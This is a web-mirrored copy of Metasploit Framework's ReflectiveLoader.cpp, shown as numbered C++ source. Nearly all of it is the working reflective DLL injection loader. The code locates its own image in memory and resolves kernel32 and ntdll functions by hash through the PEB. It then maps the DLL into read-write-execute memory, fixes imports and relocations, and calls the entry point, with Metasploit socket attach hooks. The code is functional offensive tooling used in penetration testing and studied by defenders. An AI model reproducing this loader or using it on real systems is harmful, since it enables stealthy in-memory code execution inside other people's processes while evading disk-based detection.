CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/HostingCLR_inject/HostingCLR/ReflectiveLoader.cpp
Views: 11780
1
//===============================================================================================//
2
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3
// All rights reserved.
4
//
5
// Redistribution and use in source and binary forms, with or without modification, are permitted
6
// provided that the following conditions are met:
7
//
8
// * Redistributions of source code must retain the above copyright notice, this list of
9
// conditions and the following disclaimer.
10
//
11
// * Redistributions in binary form must reproduce the above copyright notice, this list of
12
// conditions and the following disclaimer in the documentation and/or other materials provided
13
// with the distribution.
14
//
15
// * Neither the name of Harmony Security nor the names of its contributors may be used to
16
// endorse or promote products derived from this software without specific prior written permission.
17
//
18
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26
// POSSIBILITY OF SUCH DAMAGE.
27
//===============================================================================================//
28
#include "stdafx.h"
29
#include "ReflectiveLoader.h"
30
#include "ReflectiveFree.h"
31
//===============================================================================================//
32
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
33
HINSTANCE hAppInstance = NULL;
34
//===============================================================================================//
35
#pragma intrinsic( _ReturnAddress )
36
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
37
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
38
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
39
// available (and no inline asm available under x64).
40
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
41
//===============================================================================================//
42
43
#ifdef ENABLE_OUTPUTDEBUGSTRING
44
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
45
#else /* ENABLE_OUTPUTDEBUGSTRING */
46
#define OUTPUTDBG(str) do{}while(0)
47
#endif
48
49
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
50
// otherwise the DllMain at the end of this file will be used.
51
52
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
53
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
54
55
// This is our position independent reflective DLL loader/injector
56
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
57
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
58
#else
59
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
60
#endif
61
{
62
// the functions we need
63
LOADLIBRARYA pLoadLibraryA = NULL;
64
GETPROCADDRESS pGetProcAddress = NULL;
65
VIRTUALALLOC pVirtualAlloc = NULL;
66
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
67
#ifdef ENABLE_STOPPAGING
68
VIRTUALLOCK pVirtualLock = NULL;
69
#endif
70
#ifdef ENABLE_OUTPUTDEBUGSTRING
71
OUTPUTDEBUG pOutputDebug = NULL;
72
#endif
73
74
USHORT usCounter;
75
76
// the initial location of this image in memory
77
ULONG_PTR uiLibraryAddress;
78
ULONG_PTR uiLibraryAddressOrig;
79
// the kernels base address and later this images newly loaded base address
80
ULONG_PTR uiBaseAddress;
81
82
// variables for processing the kernels export table
83
ULONG_PTR uiAddressArray;
84
ULONG_PTR uiNameArray;
85
ULONG_PTR uiExportDir;
86
ULONG_PTR uiNameOrdinals;
87
DWORD dwHashValue;
88
89
// variables for loading this image
90
ULONG_PTR uiHeaderValue;
91
ULONG_PTR uiValueA;
92
ULONG_PTR uiValueB;
93
ULONG_PTR uiValueC;
94
ULONG_PTR uiValueD;
95
ULONG_PTR uiValueE;
96
97
// STEP 0: calculate our images current base address
98
99
// we will start searching backwards from our callers return address.
100
uiLibraryAddress = caller();
101
102
// loop through memory backwards searching for our images base address
103
// we dont need SEH style search as we shouldnt generate any access violations with this
104
while (TRUE)
105
{
106
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
107
{
108
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
109
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
110
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
111
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
112
{
113
uiHeaderValue += uiLibraryAddress;
114
// break if we have found a valid MZ/PE header
115
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
116
break;
117
}
118
}
119
uiLibraryAddress--;
120
}
121
uiLibraryAddressOrig = uiLibraryAddress;
122
123
// STEP 1: process the kernels exports for the functions our loader needs...
124
125
// get the Process Enviroment Block
126
#ifdef _WIN64
127
uiBaseAddress = __readgsqword(0x60);
128
#else
129
#ifdef WIN_ARM
130
uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
131
#else _WIN32
132
uiBaseAddress = __readfsdword(0x30);
133
#endif
134
#endif
135
136
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
137
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
138
139
// get the first entry of the InMemoryOrder module list
140
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
141
while (uiValueA)
142
{
143
// get pointer to current modules name (unicode string)
144
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
145
// set bCounter to the length for the loop
146
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
147
// clear uiValueC which will store the hash of the module name
148
uiValueC = 0;
149
150
// compute the hash of the module name...
151
do
152
{
153
uiValueC = ror((DWORD)uiValueC);
154
// normalize to uppercase if the module name is in lowercase
155
if (*((BYTE *)uiValueB) >= 'a')
156
uiValueC += *((BYTE *)uiValueB) - 0x20;
157
else
158
uiValueC += *((BYTE *)uiValueB);
159
uiValueB++;
160
} while (--usCounter);
161
162
// compare the hash with that of kernel32.dll
163
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
164
{
165
// get this modules base address
166
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
167
168
// get the VA of the modules NT Header
169
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
170
171
// uiNameArray = the address of the modules export directory entry
172
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
173
174
// get the VA of the export directory
175
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
176
177
// get the VA for the array of name pointers
178
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
179
180
// get the VA for the array of name ordinals
181
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
182
183
usCounter = 3;
184
#ifdef ENABLE_STOPPAGING
185
usCounter++;
186
#endif
187
#ifdef ENABLE_OUTPUTDEBUGSTRING
188
usCounter++;
189
#endif
190
191
// loop while we still have imports to find
192
while (usCounter > 0)
193
{
194
// compute the hash values for this function name
195
dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
196
197
// if we have found a function we want we get its virtual address
198
if (dwHashValue == LOADLIBRARYA_HASH
199
|| dwHashValue == GETPROCADDRESS_HASH
200
|| dwHashValue == VIRTUALALLOC_HASH
201
#ifdef ENABLE_STOPPAGING
202
|| dwHashValue == VIRTUALLOCK_HASH
203
#endif
204
#ifdef ENABLE_OUTPUTDEBUGSTRING
205
|| dwHashValue == OUTPUTDEBUG_HASH
206
#endif
207
)
208
{
209
// get the VA for the array of addresses
210
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
211
212
// use this functions name ordinal as an index into the array of name pointers
213
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
214
215
// store this functions VA
216
if (dwHashValue == LOADLIBRARYA_HASH)
217
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
218
else if (dwHashValue == GETPROCADDRESS_HASH)
219
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
220
else if (dwHashValue == VIRTUALALLOC_HASH)
221
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
222
#ifdef ENABLE_STOPPAGING
223
else if (dwHashValue == VIRTUALLOCK_HASH)
224
pVirtualLock = (VIRTUALLOCK)(uiBaseAddress + DEREF_32(uiAddressArray));
225
#endif
226
#ifdef ENABLE_OUTPUTDEBUGSTRING
227
else if (dwHashValue == OUTPUTDEBUG_HASH)
228
pOutputDebug = (OUTPUTDEBUG)(uiBaseAddress + DEREF_32(uiAddressArray));
229
#endif
230
231
// decrement our counter
232
usCounter--;
233
}
234
235
// get the next exported function name
236
uiNameArray += sizeof(DWORD);
237
238
// get the next exported function name ordinal
239
uiNameOrdinals += sizeof(WORD);
240
}
241
}
242
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
243
{
244
// get this modules base address
245
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
246
247
// get the VA of the modules NT Header
248
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
249
250
// uiNameArray = the address of the modules export directory entry
251
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
252
253
// get the VA of the export directory
254
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
255
256
// get the VA for the array of name pointers
257
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
258
259
// get the VA for the array of name ordinals
260
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
261
262
usCounter = 1;
263
264
// loop while we still have imports to find
265
while (usCounter > 0)
266
{
267
// compute the hash values for this function name
268
dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
269
270
// if we have found a function we want we get its virtual address
271
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
272
{
273
// get the VA for the array of addresses
274
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
275
276
// use this functions name ordinal as an index into the array of name pointers
277
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
278
279
// store this functions VA
280
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
281
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
282
283
// decrement our counter
284
usCounter--;
285
}
286
287
// get the next exported function name
288
uiNameArray += sizeof(DWORD);
289
290
// get the next exported function name ordinal
291
uiNameOrdinals += sizeof(WORD);
292
}
293
}
294
295
// we stop searching when we have found everything we need.
296
if (pLoadLibraryA
297
&& pGetProcAddress
298
&& pVirtualAlloc
299
#ifdef ENABLE_STOPPAGING
300
&& pVirtualLock
301
#endif
302
&& pNtFlushInstructionCache
303
#ifdef ENABLE_OUTPUTDEBUGSTRING
304
&& pOutputDebug
305
#endif
306
)
307
break;
308
309
// get the next entry
310
uiValueA = DEREF(uiValueA);
311
}
312
313
// STEP 2: load our image into a new permanent location in memory...
314
315
// get the VA of the NT Header for the PE to be loaded
316
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
317
318
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
319
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
320
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
321
322
#ifdef ENABLE_STOPPAGING
323
// prevent our image from being swapped to the pagefile
324
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
325
#endif
326
327
// we must now copy over the headers
328
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
329
uiValueB = uiLibraryAddress;
330
uiValueC = uiBaseAddress;
331
332
while (uiValueA--)
333
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
334
335
// STEP 3: load in all of our sections...
336
337
// uiValueA = the VA of the first section
338
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
339
340
// itterate through all sections, loading them into memory.
341
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
342
while (uiValueE--)
343
{
344
// uiValueB is the VA for this section
345
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
346
347
// uiValueC if the VA for this sections data
348
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
349
350
// copy the section over
351
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
352
353
while (uiValueD--)
354
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
355
356
// get the VA of the next section
357
uiValueA += sizeof(IMAGE_SECTION_HEADER);
358
}
359
360
// STEP 4: process our images import table...
361
362
// uiValueB = the address of the import directory
363
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
364
365
// we assume there is an import table to process
366
// uiValueC is the first entry in the import table
367
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
368
369
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
370
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics)
371
{
372
OUTPUTDBG("Loading library: ");
373
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
374
OUTPUTDBG("\n");
375
376
// use LoadLibraryA to load the imported module into memory
377
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
378
379
if (!uiLibraryAddress)
380
{
381
OUTPUTDBG("Loading library FAILED\n");
382
383
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
384
continue;
385
}
386
387
// uiValueD = VA of the OriginalFirstThunk
388
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
389
390
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
391
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
392
393
// itterate through all imported functions, importing by ordinal if no name present
394
while (DEREF(uiValueA))
395
{
396
// sanity check uiValueD as some compilers only import by FirstThunk
397
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
398
{
399
// get the VA of the modules NT Header
400
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
401
402
// uiNameArray = the address of the modules export directory entry
403
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
404
405
// get the VA of the export directory
406
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
407
408
// get the VA for the array of addresses
409
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
410
411
// use the import ordinal (- export ordinal base) as an index into the array of addresses
412
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
413
414
// patch in the address for this imported function
415
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
416
}
417
else
418
{
419
// get the VA of this functions import by name struct
420
uiValueB = (uiBaseAddress + DEREF(uiValueA));
421
422
OUTPUTDBG("Resolving function: ");
423
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
424
OUTPUTDBG("\n");
425
426
// use GetProcAddress and patch in the address for this imported function
427
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
428
}
429
// get the next imported function
430
uiValueA += sizeof(ULONG_PTR);
431
if (uiValueD)
432
uiValueD += sizeof(ULONG_PTR);
433
}
434
435
// get the next import
436
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
437
}
438
439
// STEP 5: process all of our images relocations...
440
441
// calculate the base address delta and perform relocations (even if we load at desired image base)
442
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
443
444
// uiValueB = the address of the relocation directory
445
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
446
447
// check if their are any relocations present
448
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
449
{
450
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
451
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
452
453
// and we itterate through all entries...
454
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
455
{
456
// uiValueA = the VA for this relocation block
457
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
458
459
// uiValueB = number of entries in this relocation block
460
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
461
462
// uiValueD is now the first entry in the current relocation block
463
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
464
465
// we itterate through all the entries in the current block...
466
while (uiValueB--)
467
{
468
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
469
// we dont use a switch statement to avoid the compiler building a jump table
470
// which would not be very position independent!
471
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
472
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
473
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
474
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
475
#ifdef WIN_ARM
476
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
477
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
478
{
479
register DWORD dwInstruction;
480
register DWORD dwAddress;
481
register WORD wImm;
482
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
483
dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
484
// flip the words to get the instruction as expected
485
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
486
// sanity chack we are processing a MOV instruction...
487
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
488
{
489
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
490
wImm = (WORD)(dwInstruction & 0x000000FF);
491
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
492
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
493
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
494
// apply the relocation to the target address
495
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
496
// now create a new instruction with the same opcode and register param.
497
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
498
// patch in the relocated address...
499
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
500
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
501
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
502
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
503
// now flip the instructions words and patch back into the code...
504
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
505
}
506
}
507
#endif
508
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
509
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
510
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
511
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
512
513
// get the next entry in the current relocation block
514
uiValueD += sizeof(IMAGE_RELOC);
515
}
516
517
// get the next entry in the relocation directory
518
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
519
}
520
}
521
522
// STEP 6: call our images entry point
523
524
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
525
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
526
527
OUTPUTDBG("Flushing the instruction cache");
528
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
529
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
530
531
// call our respective entry point, fudging our hInstance value
532
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
533
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
534
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
535
536
// Free the loader itself
537
((DLLMAIN)uiValueA)((HINSTANCE)uiLibraryAddressOrig, DLL_PROCESS_DETACH, NULL);
538
#else
539
// if we are injecting an DLL via a stub we call DllMain with no parameter
540
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
541
#endif
542
543
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
544
return uiValueA;
545
}
546
//===============================================================================================//
547
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
548
549
// you must implement this function...
550
extern DWORD DLLEXPORT Init(SOCKET socket);
551
552
BOOL MetasploitDllAttach(SOCKET socket)
553
{
554
Init(socket);
555
return TRUE;
556
}
557
558
BOOL MetasploitDllDetach(DWORD dwExitFunc)
559
{
560
switch (dwExitFunc)
561
{
562
case EXITFUNC_SEH:
563
SetUnhandledExceptionFilter(NULL);
564
break;
565
case EXITFUNC_THREAD:
566
ExitThread(0);
567
break;
568
case EXITFUNC_PROCESS:
569
ExitProcess(0);
570
break;
571
default:
572
break;
573
}
574
575
return TRUE;
576
}
577
578
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
579
{
580
BOOL bReturnValue = TRUE;
581
582
switch (dwReason)
583
{
584
case DLL_METASPLOIT_ATTACH:
585
bReturnValue = MetasploitDllAttach((SOCKET)lpReserved);
586
break;
587
case DLL_METASPLOIT_DETACH:
588
bReturnValue = MetasploitDllDetach((DWORD)lpReserved);
589
break;
590
case DLL_QUERY_HMODULE:
591
if (lpReserved != NULL)
592
*(HMODULE *)lpReserved = hAppInstance;
593
break;
594
case DLL_PROCESS_ATTACH:
595
hAppInstance = hinstDLL;
596
break;
597
case DLL_PROCESS_DETACH:
598
case DLL_THREAD_ATTACH:
599
case DLL_THREAD_DETACH:
600
break;
601
}
602
return bReturnValue;
603
}
604
605
#endif
606
//===============================================================================================//
607